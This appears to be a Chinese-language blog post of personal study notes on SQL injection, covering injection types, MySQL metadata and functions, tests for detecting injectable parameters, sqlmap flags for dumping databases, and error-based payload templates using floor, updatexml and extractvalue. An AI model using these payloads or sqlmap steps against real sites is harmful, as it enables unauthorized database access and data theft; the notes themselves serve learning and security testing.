sql注入

# SQL注入小记

## 分类

联合查询
布尔盲注
报错注入
延时注入
堆叠查询
get  post  cookie  http头部

## mysql元数据库数据库 information_schema

    information_schema
            ---tables
                    ---table_name
                    ---table_schema
            ---columns
                    ---column_name
                    ---table_name
                    ---tbale_schema

## mysql 常用函数

select version();
select database(); 当前数据库
selsect user(); 用户名 
select current_user();当前
select system_user();系统
select @@datadir; 数据库路径
select @@version_complie_os; 操作系统版本
select length(database());

substring(截取的字符串,起点,长度) 截取字符串 
left("12345",3) 123
concat('a','b','c') abc
concat_ws("-",'a','b','c') a-b-c
group_concat()

ord() 返回ascii码
rand() 0-1 随机数 left(rand(),3)  0.1/0.2/....
sleep() 睡眠
if(判断,t,f) 
and>or 优先级;

## 注入点判断

字符型注入

当输入的参数x为字符型时,通常sql语句会这样的
select *from users where id =**'**x**'**
这种类型我们可以使用and ‘1’='1 和 and ‘1’='2来进行测试
www.xxx.com/ccc.php?id=1’ and ‘1’='1
页面正常,继续下一步
www.xxx.com/ccc.php?id=1’ and ‘1’='2
页面报错,则说明存在字符型注入。
原因如下:
当输入and ‘1’=‘1的时候,后台执行的语句是
select* from users where id=**'**x' and '1'='1**'**
语法正确,逻辑判断正确,返回正确
当输入and ‘1’=‘2的时候,后台执行的语句是
select * from users where id=**'**x' and '1'='2**'**
语法正确,逻辑判断错误,返回错误
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

数字型注入

当输入的参数x为整型的时候,通常sql语句是这样的
select *from users where id =x
这种类型可以使用经典的and 1=1 and 1=2来判断
url地址中输入www.xxxx.com/ccc.php?id=x and 1=1
页面显示正常,继续下一步
url地址中输入www.xxxx.com/ccc.php?id=x and 1=2
页面错误,这说明存在数字型注入。
原因如下:
当输入and 1=1时,后台会执行sql语句是
select* from users where id =x and 1=1;
没有语法显示错误且,返回正常
当输入and 1=2时,后台会执行sql语句是
select *from users where id =1 and 1=2;
没有语法错误且,返回错误
我们在使用假设:
如果是字符型注入的话,我们输入的语句应该会出现这样的状况
select* from users where id ='1 and 1=1'; 
select * from users where id ='1 and 1=2';
查询语句将and语句全部转换成字符串,并没有进行and的逻辑判断,所以不会出现以上结果,所以这个等式是不成立的。



## 口诀

是否回显 联合查询
是否报错 报错注入
是否有布尔类型 布尔盲注
延时注入

## sqlmap

-u "url" 检测注入点
--dbs 列出所有数据库名
--current-db 当前数据库名
-D 指定数据库
--tables 列出表名
-T 指定表名
--columns 列出所有的字符段名
-C 指定字段
--dump 列出字段内容

post注入
sqlmap -r post.txt

## 报错注入

1 通过floor报错
        and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))as x from information_schema.tables group by x)as y)
2 通过updatexml报错 
        and updatexml(1,payload,1)
3 通过 extractvalue报错
        and extractvalue(1,payload)
posted @ 2021-04-08 20:14  且任荣枯  阅读(129)  评论(0编辑  收藏  举报